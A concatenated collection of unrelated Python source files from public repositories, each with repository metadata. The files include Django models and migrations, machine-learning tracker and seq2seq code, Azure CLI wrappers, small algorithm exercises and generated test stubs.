85ae61cc05563eee47e7f771d1f64d635a86292e | 192dec1ea734fd67a3c3720228826cf754b2da5a | /valeo/vr/apps.py | b88f93e9775d8048cb831c38beadcdde6919dbff | [] | no_license | fafaschiavo/cpi_valeo | a4df4e64161e58e44ade276f0b6284abfb5af6d2 | 777ef6173bbc4bf5941098cb2ea3b13fccf490c1 | refs/heads/master | 2020-04-06T04:14:59.226013 | 2017-05-02T22:39:00 | 2017-05-02T22:39:00 | 82,980,893 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 120 | py | from __future__ import unicode_literals
from django.apps import AppConfig
class VrConfig(AppConfig):
name = 'vr'
| [
"[email protected]"
] | |
5113f8bf9f0595543e85f6a8f9655e1f589b4282 | 6d724d9326ede63fd940cc5d39920f38d987e716 | /shop/migrations/0004_orders_orderupdate.py | 9b38da972769d22736faa52aba4630c6afddc452 | [] | no_license | Alan-thapa98/mac | 5dea8254276ce79fd7f11e20772b43e3a9943602 | a5317bcb1d6b1fde9b726dc2b0c99ddd85f18b45 | refs/heads/master | 2023-07-11T05:45:05.075152 | 2021-07-30T12:00:02 | 2021-07-30T12:00:02 | 391,047,535 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,370 | py | # Generated by Django 3.1.2 on 2021-01-24 12:43
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('shop', '0003_contact'),
]
operations = [
migrations.CreateModel(
name='Orders',
fields=[
('order_id', models.AutoField(primary_key=True, serialize=False)),
('items_json', models.CharField(max_length=5000)),
('amount', models.IntegerField(default=0)),
('name', models.CharField(max_length=90)),
('email', models.CharField(max_length=111)),
('address', models.CharField(max_length=111)),
('city', models.CharField(max_length=111)),
('state', models.CharField(max_length=111)),
('zip_code', models.CharField(max_length=111)),
('phone', models.CharField(default='', max_length=111)),
],
),
migrations.CreateModel(
name='OrderUpdate',
fields=[
('update_id', models.AutoField(primary_key=True, serialize=False)),
('order_id', models.IntegerField(default='')),
('update_desc', models.CharField(max_length=5000)),
('timestamp', models.DateField(auto_now_add=True)),
],
),
]
| [
"alanthapa98.gmail.com"
] | alanthapa98.gmail.com |
d3a903414652662f91ef2a9f09ed1a87342d49bf | 15f321878face2af9317363c5f6de1e5ddd9b749 | /solutions_python/Problem_201/436.py | 78e4a99556ff805c431b31596155fa8617440523 | [] | no_license | dr-dos-ok/Code_Jam_Webscraper | c06fd59870842664cd79c41eb460a09553e1c80a | 26a35bf114a3aa30fc4c677ef069d95f41665cc0 | refs/heads/master | 2020-04-06T08:17:40.938460 | 2018-10-14T10:12:47 | 2018-10-14T10:12:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,143 | py | f = open('C:\\Users\\djspence\\Downloads\\C-large.in', 'r')
tries = int(f.readline())
for case in range(0, tries):
lengths = {}
vals = f.readline().strip().split(' ')
n = int(vals[0])
remaining = int(vals[1])
lengths[n] = 1
small = 0
large = 0
while remaining > 0:
lk = lengths.keys()
maxLen = max(lk)
num = lengths[maxLen]
del lengths[maxLen]
if maxLen%2 == 1:
small = maxLen/2
large = maxLen/2
if small in lk:
lengths[small]=lengths[small]+2*num
else:
lengths[small]=2*num
else:
small = maxLen/2-1
large = maxLen/2
if small in lk:
lengths[small]=lengths[small]+num
else:
lengths[small]=num
if large in lk:
lengths[large]=lengths[large]+num
else:
lengths[large]=num
remaining = remaining - num
print("Case #" + str(case+1)+": " + str(large) + " " + str(small))
| [
"[email protected]"
] | |
1898f53db1e53665c6f69f9ef8b54411b060dd23 | 75983ccc6e1eba55890429baace2bf716ac4cf33 | /python/tvm/relay/ir_pass.py | 84189c840d71a5dccdc08b92a22eb837b2fb5405 | [
"Apache-2.0"
] | permissive | clhne/tvm | 49c8be30c87791d5e8f13eea477620a829573d1c | d59320c764bd09474775e1b292f3c05c27743d24 | refs/heads/master | 2020-03-29T21:16:30.061742 | 2018-09-25T19:15:15 | 2018-09-25T19:15:15 | 150,358,639 | 1 | 0 | Apache-2.0 | 2018-09-26T02:41:46 | 2018-09-26T02:41:45 | null | UTF-8 | Python | false | false | 372 | py | # pylint: disable=no-else-return,
# pylint: disable=unidiomatic-typecheck
"""The set of passes for Relay.
Exposes an interface for configuring the passes and scripting
them in Python.
"""
from . import _ir_pass
# Expose checking expression, should rename to infer_type.
# pylint: disable=invalid-name
check_expr = _ir_pass.check_expr
well_formed = _ir_pass.well_formed
| [
"[email protected]"
] | |
95b7481abd5da44b653139b6e671965a8b6bc81e | 2f98aa7e5bfc2fc5ef25e4d5cfa1d7802e3a7fae | /python/python_24692.py | 165e8518e2ba9cad5538a7ef480b9d654979df4a | [] | no_license | AK-1121/code_extraction | cc812b6832b112e3ffcc2bb7eb4237fd85c88c01 | 5297a4a3aab3bb37efa24a89636935da04a1f8b6 | refs/heads/master | 2020-05-23T08:04:11.789141 | 2015-10-22T19:19:40 | 2015-10-22T19:19:40 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 63 | py | # Python NameError: name 'self' is not defined Why?
python -tt
| [
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] | |
2a04c078859847f83b2a810252c0bd0a2a0367e9 | da052c0bbf811dc4c29a83d1b1bffffd41becaab | /core/web_debranding/__manifest__.py | 2626a321be85b590c2375e95e0b69f7ad52c0bfc | [] | no_license | Muhammad-SF/Test | ef76a45ad28ac8054a4844f5b3826040a222fb6e | 46e15330b5d642053da61754247f3fbf9d02717e | refs/heads/main | 2023-03-13T10:03:50.146152 | 2021-03-07T20:28:36 | 2021-03-07T20:28:36 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 824 | py | # -*- coding: utf-8 -*-
{
'name': "Backend debranding",
'version': '1.1.1',
'author': 'IT-Projects LLC, Ivan Yelizariev',
'license': 'LGPL-3',
'category': 'Debranding',
'images': ['images/web_debranding.png'],
'website': 'https://twitter.com/yelizariev',
'price': 150.00,
'currency': 'EUR',
'depends': [
'web',
'mail',
'web_planner',
'access_apps',
'access_settings_menu',
'mail_base',
],
'data': [
'security/web_debranding_security.xml',
'security/ir.model.access.csv',
'data.xml',
'views.xml',
'js.xml',
'pre_install.yml',
],
'qweb': [
'static/src/xml/web.xml',
],
'auto_install': False,
'uninstall_hook': 'uninstall_hook',
'installable': True
}
| [
"[email protected]"
] | |
6997ba18d8ad2fb05c77cb9cbd2942726bf65798 | fd4aba49cbd4042a95e7376eac245df0e95b72d3 | /auto-generated/python/test/test_margin.py | a5287ac7cde2c798af31194cd8a629e51b3cef2c | [] | no_license | bretton/api-connectors | 47755e7ec4701a600b3bf6a541c618573e97e365 | e8b9de34ff941c3edae2b094f6ab0eb1c24bf8bb | refs/heads/master | 2020-04-14T20:01:38.746415 | 2019-12-20T11:43:05 | 2019-12-20T11:43:05 | 164,079,343 | 2 | 2 | null | 2019-12-20T11:43:06 | 2019-01-04T08:21:45 | C++ | UTF-8 | Python | false | false | 2,277 | py | # coding: utf-8
"""
BitMEX API
## REST API for the BitMEX Trading Platform [View Changelog](/app/apiChangelog) #### Getting Started Base URI: [https://www.bitmex.com/api/v1](/api/v1) ##### Fetching Data All REST endpoints are documented below. You can try out any query right from this interface. Most table queries accept `count`, `start`, and `reverse` params. Set `reverse=true` to get rows newest-first. Additional documentation regarding filters, timestamps, and authentication is available in [the main API documentation](/app/restAPI). *All* table data is available via the [Websocket](/app/wsAPI). We highly recommend using the socket if you want to have the quickest possible data without being subject to ratelimits. ##### Return Types By default, all data is returned as JSON. Send `?_format=csv` to get CSV data or `?_format=xml` to get XML data. ##### Trade Data Queries *This is only a small subset of what is available, to get you started.* Fill in the parameters and click the `Try it out!` button to try any of these queries. * [Pricing Data](#!/Quote/Quote_get) * [Trade Data](#!/Trade/Trade_get) * [OrderBook Data](#!/OrderBook/OrderBook_getL2) * [Settlement Data](#!/Settlement/Settlement_get) * [Exchange Statistics](#!/Stats/Stats_history) Every function of the BitMEX.com platform is exposed here and documented. Many more functions are available. ##### Swagger Specification [⇩ Download Swagger JSON](swagger.json) ## All API Endpoints Click to expand a section. # noqa: E501
OpenAPI spec version: 1.2.0
Contact: [email protected]
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import unittest
import swagger_client
from swagger_client.models.margin import Margin # noqa: E501
from swagger_client.rest import ApiException
class TestMargin(unittest.TestCase):
"""Margin unit test stubs"""
def setUp(self):
pass
def tearDown(self):
pass
def testMargin(self):
"""Test Margin"""
# FIXME: construct object with mandatory attributes with example values
# model = swagger_client.models.margin.Margin() # noqa: E501
pass
if __name__ == '__main__':
unittest.main()
| [
"[email protected]"
] | |
db166c5dcc339e356cf775d43a928a65440502ce | 7130a96ef7c2199cdb52406069fdc5e015760d70 | /components/docker/block/SPResnetBlockV2.py | 858733a371f31bb60c735dd0184b8db52d6b793f | [] | no_license | yanqinghao/AiLab-Pytorch | c37e8f47241d7f1a003226b2a19b9406ff7f6f9b | ceea8a1196dca4d219a099cbaedcecf7c3f96564 | refs/heads/master | 2021-07-08T07:15:29.801492 | 2020-10-23T06:14:34 | 2020-10-23T06:14:34 | 198,990,470 | 0 | 0 | null | 2019-08-14T09:23:00 | 2019-07-26T09:40:58 | Python | UTF-8 | Python | false | false | 734 | py | # coding=utf-8
from __future__ import absolute_import, print_function
import suanpan
from suanpan.app.arguments import Int
from suanpan.app import app
from args import PytorchLayersModel
from utils import getLayerName, net
@app.input(PytorchLayersModel(key="inputModel"))
@app.param(Int(key="inplanes", default=64))
@app.param(Int(key="planes", default=64))
@app.output(PytorchLayersModel(key="outputModel"))
def SPResnetBlockV2(context):
args = context.args
model = args.inputModel
name = getLayerName(model.layers, "ResnetBlockV2")
setattr(model, name, net.ResnetBlockV2(args.inplanes, args.planes))
model.layers[name] = getattr(model, name)
return model
if __name__ == "__main__":
suanpan.run(app)
| [
"[email protected]"
] | |
87503f32f0ebd1aa3c6acc09980ebdaeb4ed6a34 | 0438cb6726cd47f17b75cc960d457e433beeed95 | /tests/test_cli.py | 7e6cc9f4c08378936ae125b5e9812674ea17fbb7 | [
"MIT"
] | permissive | boydgreenfield/metasort | 3071aa4600f6b5f0ba9eeb431b1cbcc7c1399102 | 27622d75f36b1dde959c269cb90b57f4110d813b | refs/heads/master | 2021-01-22T20:39:08.266721 | 2015-04-10T18:57:12 | 2015-04-10T18:57:12 | 33,745,227 | 0 | 0 | null | 2015-04-10T18:53:23 | 2015-04-10T18:53:23 | null | UTF-8 | Python | false | false | 49 | py | from nose.tools import *
def test_base():
pass | [
"[email protected]"
] | |
c7049fd951803d6bc6f19109023f9ea5c5d783c2 | a3e4cc590667c444460d3a1f659f53f907da1783 | /azure/mgmt/blueprint/models/assignment_deployment_job_result_py3.py | 52b07be3a07c2f65071a62d8c0a9f5ad292585ef | [] | no_license | eduardomourar/azure-mgmt-blueprint | 729d9c08915caab9e8029278da6dc87c4eaa44d6 | 153c3c63cb519350cb68752e07251e1e8ff26510 | refs/heads/master | 2020-05-27T02:26:42.436079 | 2019-11-11T11:52:14 | 2019-11-11T11:52:14 | 188,451,854 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,334 | py | # coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
# --------------------------------------------------------------------------
from msrest.serialization import Model
class AssignmentDeploymentJobResult(Model):
"""Result of each individual deployment in a blueprint assignment.
:param error: Contains error details if deployment job failed.
:type error: ~azure.mgmt.blueprint.models.AzureResourceManagerError
:param resources: Resources created as result of the deployment job.
:type resources:
list[~azure.mgmt.blueprint.models.AssignmentJobCreatedResource]
"""
_attribute_map = {
'error': {'key': 'error', 'type': 'AzureResourceManagerError'},
'resources': {'key': 'resources', 'type': '[AssignmentJobCreatedResource]'},
}
def __init__(self, *, error=None, resources=None, **kwargs) -> None:
super(AssignmentDeploymentJobResult, self).__init__(**kwargs)
self.error = error
self.resources = resources
| [
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] | |
647577be7019d95438e3a5c1aa3b2dcbafb93134 | c6053ad14e9a9161128ab43ced5604d801ba616d | /Public/Public_zqxt_99/__init__.py | 4f5ee4f58760d9dfb875cffb3773d9d9dbf5771b | [] | no_license | HesterXu/Home | 0f6bdace39f15e8be26031f88248f2febf33954d | ef8fa0becb687b7b6f73a7167bdde562b8c539be | refs/heads/master | 2020-04-04T00:56:35.183580 | 2018-12-25T02:48:51 | 2018-12-25T02:49:05 | 155,662,403 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 164 | py | # -*- coding: utf-8 -*-
# @Time : 2018/12/11/10:55
# @Author : Hester Xu
# Email : [email protected]
# @File : __init__.py.py
# @Software : PyCharm
| [
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] | |
bf9b4c55e0e0b67ded0e6452ab8893a773b3fb88 | d469de9070628b7c56e283066d9122eb73c42dd2 | /algorithms/data_structures/binary_tree.py | 7dad06d856241373ca5e8bfd012d65a0b853afdc | [] | no_license | Rowing0914/Interview_Prep_Python | af26369ccb92c623fc2ac44e62d3f61e94046df6 | a77a9b2342fbc9fc87b9f3670b0f3ab36f47eac7 | refs/heads/master | 2022-11-26T10:22:44.564728 | 2020-08-07T12:06:54 | 2020-08-07T12:06:54 | 269,878,434 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 923 | py |
class Node:
def __init__(self, value):
self.l = None
self.r = None
self.v = value
class BinaryTree:
def __init__(self):
self.root = None
def add(self, item):
if self.root == None:
self.root = Node(value=item)
else:
self._add(item, self.root)
def _add(self, item, node):
if item > node.v:
print("right: ", item)
if node.r == None:
node.r = Node(value=item)
else:
self._add(item, node.r)
else:
print("lefft: ", item)
if node.l == None:
node.l = Node(value=item)
else:
self._add(item, node.l)
def printTree(self):
if self.root == None:
print("Nothing")
else:
self._printTree(self.root)
def _printTree(self, node):
if node != None:
self._printTree(node.l)
print(str(node.v) + " ")
self._printTree(node.r)
if __name__ == '__main__':
tree = BinaryTree()
tree.add(3)
tree.add(4)
tree.add(0)
tree.add(8)
tree.add(2)
tree.printTree() | [
"[email protected]"
] | |
843d02469e85866f10c030b14a8b34b1ddb154ba | cfcd117378664e4bea080b3c1011a25a575b3d51 | /hawc/apps/vocab/migrations/0004_term_uid.py | f894ab0af5c902c93c900e051fb9821419084ebb | [
"MIT"
] | permissive | shapiromatron/hawc | 9d3a625da54d336334da4576bd5dac6915c18d4f | 51177c6fb9354cd028f7099fc10d83b1051fd50d | refs/heads/main | 2023-08-03T13:04:23.836537 | 2023-08-01T18:39:16 | 2023-08-01T18:39:16 | 25,273,569 | 25 | 15 | NOASSERTION | 2023-09-14T17:03:48 | 2014-10-15T21:06:33 | Python | UTF-8 | Python | false | false | 348 | py | from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
("vocab", "0003_load_v1"),
]
operations = [
migrations.AddField(
model_name="term",
name="uid",
field=models.PositiveIntegerField(blank=True, null=True, unique=True),
),
]
| [
"[email protected]"
] | |
d0e245f285f7028136bf38a0f29d170d8c9f4d5a | 8bb4a472344fda15985ac322d14e8f4ad79c7553 | /Python3-Core/src/test/prompto/translate/eme/TestCss.py | 801cb78f8fe015a3e6257711209c57258ee542a1 | [] | no_license | prompto/prompto-python3 | c6b356f5af30c6826730ba7f2ad869f341983a2d | 64bd3d97d4702cc912097d41d961f7ab3fd82bee | refs/heads/master | 2022-12-24T12:33:16.251468 | 2022-11-27T17:37:56 | 2022-11-27T17:37:56 | 32,623,633 | 4 | 0 | null | 2019-05-04T11:06:05 | 2015-03-21T07:17:25 | Python | UTF-8 | Python | false | false | 767 | py | from prompto.parser.e.BaseEParserTest import BaseEParserTest
class TestCss(BaseEParserTest):
def setUp(self):
super(type(self), self).setUp()
def testCodeValue(self):
self.compareResourceEME("css/codeValue.pec")
def testCompositeValue(self):
self.compareResourceEME("css/compositeValue.pec")
def testHyphenName(self):
self.compareResourceEME("css/hyphenName.pec")
def testMultiValue(self):
self.compareResourceEME("css/multiValue.pec")
def testNumberValue(self):
self.compareResourceEME("css/numberValue.pec")
def testPixelValue(self):
self.compareResourceEME("css/pixelValue.pec")
def testTextValue(self):
self.compareResourceEME("css/textValue.pec")
| [
"[email protected]"
] | |
e89461a51e52313d597915885da1df109637baae | ae288b9604ee86b471d698023fce03738b578544 | /lib/system/__init__.py | d3474854c5d8888f77545f1a7a11a08f805ffc55 | [] | no_license | snaress/studio | a8421a0772600494859ba86daace4bf499f8e055 | 90f4fc50ca9541c0d70cb381c8002ef8a3ce8087 | refs/heads/master | 2021-01-17T05:49:57.193795 | 2016-02-07T13:57:24 | 2016-02-07T13:57:24 | 25,691,833 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 147 | py | import os
#-- Package Var --#
toolPath = os.path.normpath(os.path.dirname(__file__))
toolName = toolPath.split(os.sep)[-1]
toolPack = __package__
| [
"[email protected]"
] | |
d531ac6b14b28efdbcaa7dbcc9edad4029ab4ccf | 0ff562277646000e7f05c68e18133466effeb962 | /seq2seq/evaluate.py | 9356c281bfea4c511ab9d95e5d84048c069e162c | [] | no_license | zyxue/bio-seq2seq-attention | 708fd8a73f69c8564d488c185dba792e3570cbed | 692614f4d025c78800ecd6c104c430e2bff11edf | refs/heads/master | 2020-04-16T21:34:59.626246 | 2019-02-22T00:42:40 | 2019-02-22T00:42:40 | 165,930,778 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,839 | py | import random
import torch
from seq2seq.plot import plot_attn
# from seq2seq.utils import tensor_from_sentence, get_device
def evaluate(src_lang, tgt_lang, enc, dec, tgt_sos_index, src_seq, seq_len):
with torch.no_grad():
# shape: S X B X 1
src_tensor = tensor_from_sentence(src_lang, src_seq).view(-1, 1, 1)
enc_hid = enc.init_hidden(batch_size=1)
enc_outs, enc_hid = enc(src_tensor, enc_hid)
if enc.bidirectional:
# as the enc_outs has a 2x factor for hidden size, so reshape hidden to
# match that
enc_hid = torch.cat([
enc_hid[:enc.num_layers, :, :],
enc_hid[enc.num_layers:, :, :]
], dim=2)
device = get_device()
dec_in = torch.tensor([[tgt_sos_index]], device=device).view(-1, 1)
dec_hid = enc_hid
dec_outs = []
dec_attns = torch.zeros(seq_len, seq_len)
for di in range(seq_len):
dec_out, dec_hid, dec_attn = dec(dec_in, dec_hid, enc_outs)
dec_attns[di] = dec_attn.view(-1)
topv, topi = dec_out.data.topk(1)
dec_outs.append(tgt_lang.index2word[topi.item()])
dec_in = topi.detach()
return dec_outs, dec_attns[:di + 1]
def evaluate_randomly(src_lang, tgt_lang, enc, dec, tgt_sos_index,
num, iter_idx):
for i in range(num):
src_seq, tgt_seq, seq_len = random.choice(pairs)
print('>', src_seq)
print('=', tgt_seq)
prd_tokens, attns = evaluate(
src_lang, tgt_lang, enc, dec, tgt_sos_index, src_seq, seq_len)
prd_seq = ''.join(prd_tokens)
print('<', prd_seq)
acc = U.calc_accuracy(tgt_seq, prd_seq)
print('acc: {0}'.format(acc))
plot_attn(attns, src_seq, prd_seq, acc, iter_idx)
| [
"[email protected]"
] | |
07260035fae3775eccc23a0180c11509e81f5968 | 6b9084d234c87d7597f97ec95808e13f599bf9a1 | /algorithms/tracker/transt/builder.py | f300dc026d1df2f2ed64f5f4be27d71f5490de44 | [] | no_license | LitingLin/ubiquitous-happiness | 4b46234ce0cb29c4d27b00ec5a60d3eeb52c26fc | aae2d764e136ca4a36c054212b361dd7e8b22cba | refs/heads/main | 2023-07-13T19:51:32.227633 | 2021-08-03T16:02:03 | 2021-08-03T16:02:03 | 316,664,903 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,328 | py | import torch
from models.TransT.builder import build_transt
from algorithms.tracker.transt.tracker import TransTTracker
from data.tracking.methods.TransT.evaluation.builder import build_evaluation_data_processors
def build_transt_tracker(network_config, evaluation_config, weight_path, device):
device = torch.device(device)
model = build_transt(network_config, False)
state_dict = torch.load(weight_path, map_location='cpu')['model']
if network_config['version'] <= 2:
for key in list(state_dict.keys()):
key: str = key
if key.startswith('head.class_embed'):
state_dict[key.replace('head.class_embed', 'head.classification')] = state_dict.pop(key)
elif key.startswith('head.bbox_embed'):
state_dict[key.replace('head.bbox_embed', 'head.regression')] = state_dict.pop(key)
if network_config['backbone']['type'] == 'swin_transformer':
from models.backbone.swint.swin_transformer import _update_state_dict_
_update_state_dict_(state_dict, 'backbone.backbone.')
model.load_state_dict(state_dict)
data_processor, network_post_processor = build_evaluation_data_processors(network_config, evaluation_config, device)
return TransTTracker(model, device, data_processor, network_post_processor)
| [
"[email protected]"
] | |
1dbec0cd8d756ebeae9a779507e72fa0e3c38631 | 3d06eeebdd598efba25d29d7e3d03d90ede1bfbd | /18_lesson(django)/video-shop/videostore/courses/forms.py | 25df6a10b202d97a7c1598c18ec17325dee5ec84 | [] | no_license | duk1edev/itproger | 58bdd16088dec7864585d318935b118ce584874d | 786f94fff6d816f3f978bd8c24c3d985ffd5ffb2 | refs/heads/master | 2021-01-02T02:43:32.684100 | 2020-03-28T18:10:25 | 2020-03-28T18:10:25 | 239,443,309 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 571 | py | from django import forms
from .models import Course
class CreateCourseForm(forms.ModelForm):
def __init__(self, *args, **kwargs):
super(CreateCourseForm, self).__init__(*args, **kwargs)
self.fields['slug'].label = 'Название URL'
self.fields['title'].label = 'Название курса'
self.fields['description'].label = 'Описание курса'
self.fields['img'].label = 'Изображение профиля'
class Meta:
model = Course
fields = ['slug', 'title', 'description', 'img']
| [
"[email protected]"
] | |
70d103be4cf7033045a7bfe4abce7325e7410269 | e0980f704a573894350e285f66f4cf390837238e | /.history/rocketman/settings/dev_20210104181322.py | 6b33f05fcfb179db48a0b11ba3e3a32f5bde8bef | [] | no_license | rucpata/WagtailWebsite | 28008474ec779d12ef43bceb61827168274a8b61 | 5aa44f51592f49c9a708fc5515ad877c6a29dfd9 | refs/heads/main | 2023-02-09T15:30:02.133415 | 2021-01-05T14:55:45 | 2021-01-05T14:55:45 | 303,961,094 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 638 | py | from .base import *
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = '0qjdxh8nibnbihjuj9*-%$#kx!i8y^wk6wt(h)@27m1g-9g$)v'
# SECURITY WARNING: define the correct hosts in production!
ALLOWED_HOSTS = ['localhost', 'rocketman.naukawagtail.com']
EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend'
INSTALLED_APPS += [
'debug_toolbar',
]
MIDDLEWARE += [
'debug_toolbar.middleware.DebugToolbarMiddleware',
]
INTERNAL_IPS = [
'127.0.0.1',
]
try:
from .local import *
except ImportError:
pass
| [
"[email protected]"
] | |
0cb8fe31319034d1b0d7e1d5d9511de51d466943 | 781e2692049e87a4256320c76e82a19be257a05d | /all_data/exercism_data/python/anagram/1d85ad5d39ab4551a2af68f5a6bd2b21.py | 1bbc9ad83b17ae2c9371525d8394a6a6641fbf73 | [] | no_license | itsolutionscorp/AutoStyle-Clustering | 54bde86fe6dbad35b568b38cfcb14c5ffaab51b0 | be0e2f635a7558f56c61bc0b36c6146b01d1e6e6 | refs/heads/master | 2020-12-11T07:27:19.291038 | 2016-03-16T03:18:00 | 2016-03-16T03:18:42 | 59,454,921 | 4 | 0 | null | 2016-05-23T05:40:56 | 2016-05-23T05:40:56 | null | UTF-8 | Python | false | false | 529 | py | def detect_anagrams(word, anagrams):
real_anagrams = []
for candidate in anagrams:
# Case insensitive
lower_word = word.lower()
lower_candidate = candidate.lower()
for char in lower_word:
if char in lower_candidate:
lower_candidate = lower_candidate.replace(char, "", 1)
if not lower_candidate and len(candidate) == len(word):
if candidate.lower() != lower_word:
real_anagrams.append(candidate)
return real_anagrams
| [
"[email protected]"
] | |
f22577938fc54158f83a3dc1f43cd18d5cfa7cea | 4a7ede06edbe66f9d1eb485261f94cc3251a914b | /test/pyaz/webapp/config/ssl/__init__.py | b8b893c526afb4dff9fd44ab4dc16187a35ffb19 | [
"MIT"
] | permissive | bigdatamoore/py-az-cli | a9e924ec58f3a3067b655f242ca1b675b77fa1d5 | 54383a4ee7cc77556f6183e74e992eec95b28e01 | refs/heads/main | 2023-08-14T08:21:51.004926 | 2021-09-19T12:17:31 | 2021-09-19T12:17:31 | 360,809,341 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,010 | py | import json, subprocess
from .... pyaz_utils import get_cli_name, get_params
def upload(resource_group, name, certificate_password, certificate_file, slot=None):
params = get_params(locals())
command = "az webapp config ssl upload " + params
print(command)
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout = output.stdout.decode("utf-8")
stderr = output.stderr.decode("utf-8")
if stdout:
return json.loads(stdout)
print(stdout)
else:
raise Exception(stderr)
print(stderr)
def list(resource_group):
params = get_params(locals())
command = "az webapp config ssl list " + params
print(command)
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout = output.stdout.decode("utf-8")
stderr = output.stderr.decode("utf-8")
if stdout:
return json.loads(stdout)
print(stdout)
else:
raise Exception(stderr)
print(stderr)
def show(resource_group, certificate_name):
params = get_params(locals())
command = "az webapp config ssl show " + params
print(command)
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout = output.stdout.decode("utf-8")
stderr = output.stderr.decode("utf-8")
if stdout:
return json.loads(stdout)
print(stdout)
else:
raise Exception(stderr)
print(stderr)
def bind(resource_group, name, certificate_thumbprint, ssl_type, slot=None):
params = get_params(locals())
command = "az webapp config ssl bind " + params
print(command)
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout = output.stdout.decode("utf-8")
stderr = output.stderr.decode("utf-8")
if stdout:
return json.loads(stdout)
print(stdout)
else:
raise Exception(stderr)
print(stderr)
def unbind(resource_group, name, certificate_thumbprint, slot=None):
params = get_params(locals())
command = "az webapp config ssl unbind " + params
print(command)
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout = output.stdout.decode("utf-8")
stderr = output.stderr.decode("utf-8")
if stdout:
return json.loads(stdout)
print(stdout)
else:
raise Exception(stderr)
print(stderr)
def delete(resource_group, certificate_thumbprint):
params = get_params(locals())
command = "az webapp config ssl delete " + params
print(command)
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout = output.stdout.decode("utf-8")
stderr = output.stderr.decode("utf-8")
if stdout:
return json.loads(stdout)
print(stdout)
else:
raise Exception(stderr)
print(stderr)
def import_(resource_group, name, key_vault, key_vault_certificate_name):
params = get_params(locals())
command = "az webapp config ssl import " + params
print(command)
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout = output.stdout.decode("utf-8")
stderr = output.stderr.decode("utf-8")
if stdout:
return json.loads(stdout)
print(stdout)
else:
raise Exception(stderr)
print(stderr)
def create(resource_group, name, hostname, slot=None):
params = get_params(locals())
command = "az webapp config ssl create " + params
print(command)
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout = output.stdout.decode("utf-8")
stderr = output.stderr.decode("utf-8")
if stdout:
return json.loads(stdout)
print(stdout)
else:
raise Exception(stderr)
print(stderr)
| [
"“[email protected]”"
] | |
cb4b97b896fc5683599a57fe012bcc1fe716bb96 | b49e7e1fb8557f21280b452b2d5e29668613fe83 | /leonardo/module/web/widget/feedreader/models.py | e2b9999d1a451c50e6f88b523b571787e8d75ef2 | [
"BSD-2-Clause"
] | permissive | pombredanne/django-leonardo | 6e03f7f53391c024cfbfd9d4c91bd696adcb361d | dcbe6c4a0c296a03c3a98b3d5ae74f13037ff81b | refs/heads/master | 2021-01-17T10:24:09.879844 | 2016-04-06T19:30:05 | 2016-04-06T19:30:05 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,619 | py | # -#- coding: utf-8 -#-
import datetime
import feedparser
from django.db import models
from django.template.context import RequestContext
from django.template.loader import render_to_string
from django.utils.translation import ugettext_lazy as _
from leonardo.module.web.models import Widget, ContentProxyWidgetMixin
from leonardo.module.web.widgets.mixins import ListWidgetMixin
TARGET_CHOICES = (
('modal', _('Modal window')),
('blank', _('Blank window')),
)
class FeedReaderWidget(Widget, ContentProxyWidgetMixin, ListWidgetMixin):
max_items = models.IntegerField(_('max. items'), default=5)
class Meta:
abstract = True
verbose_name = _("feed reader")
verbose_name_plural = _('feed readers')
def render_content(self, options):
if self.is_obsolete:
self.update_cache_data()
context = RequestContext(options.get('request'), {
'widget': self,
})
return render_to_string(self.get_template_name(), context)
def update_cache_data(self, save=True):
feed = feedparser.parse(self.link)
entries = feed['entries'][:self.max_items]
context = {
'widget': self,
'link': feed['feed']['link'],
'entries': entries,
}
self.cache_data = render_to_string(
'widget/feedreader/_content.html', context)
self.cache_update = datetime.datetime.now()
if save:
self.save()
def save(self, *args, **kwargs):
self.update_cache_data(False)
super(FeedReaderWidget, self).save(*args, **kwargs)
| [
"[email protected]"
] | |
8107640d66d0dd58eb2d0351d0559824dc3a2c98 | c29763f930c7c00b435a9b25dddf7f6e2e8548a1 | /Atividades disciplinas/6 periodo/IA/algoritmo de dijkstra/test.py | 6417af691864735fbf0325a743f03bdf7e10a868 | [] | no_license | jadsonlucio/Faculdade | f94ae6e513bb783f01c72dcb52479ad4bb50dc03 | 2ca553e8fa027820782edc56fc4eafac7eae5773 | refs/heads/master | 2020-07-06T20:34:10.087739 | 2019-12-07T20:45:55 | 2019-12-07T20:45:55 | 203,131,862 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,172 | py | import numpy as np
from map.location import Location, calc_distance
from map.map import Map
